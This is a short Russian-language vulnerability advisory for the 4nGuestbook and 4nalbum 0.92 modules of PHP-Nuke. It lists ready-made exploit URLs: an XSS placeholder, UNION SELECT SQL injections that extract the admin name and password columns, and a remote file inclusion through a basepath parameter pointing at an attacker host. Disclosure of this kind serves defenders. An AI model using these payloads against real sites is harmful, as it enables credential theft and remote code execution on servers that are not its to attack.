Программа: 4nalbum и 4nGuestbook 0.92
Уязвимость обнаружена в 4nGuestbook и 4nalbum модулях для PHP-Nuke. Удаленный авторизованный администратор может внедрить произвольные SQL команды. Удаленный пользователь может выполнить XSS нападение. Удаленный пользователь может выполнить произвольный PHP код на уязвимом сервере.
1. 4nGuestbook
http://[target]/nuke71/modules.php?name=4nGuestbook &entry=x[xss%20code%20here]
http://[target]/nuke71/admin.php?op=NukebookEditEntry &nbid=-2%20UNION%20SELECT%20null%20/*
2. 4nalbum
http://[target]/nuke71/modules/4nalbum/public/ displaycategory.php?basepath=http://[attacker]
http://localhost/nuke71/modules.php?op=modload &name=4nAlbum&file=index&do=showgall&gid=-99%20UNION
%20SELECT%20null,null,pwd,2,null,null,null
http://localhost/nuke71/modules.php?op=modload&name= 4nAlbum&file=index&do=showgall&gid=-99%20UNION%
20SELECT%20null,null,aid, 2,null,null,null
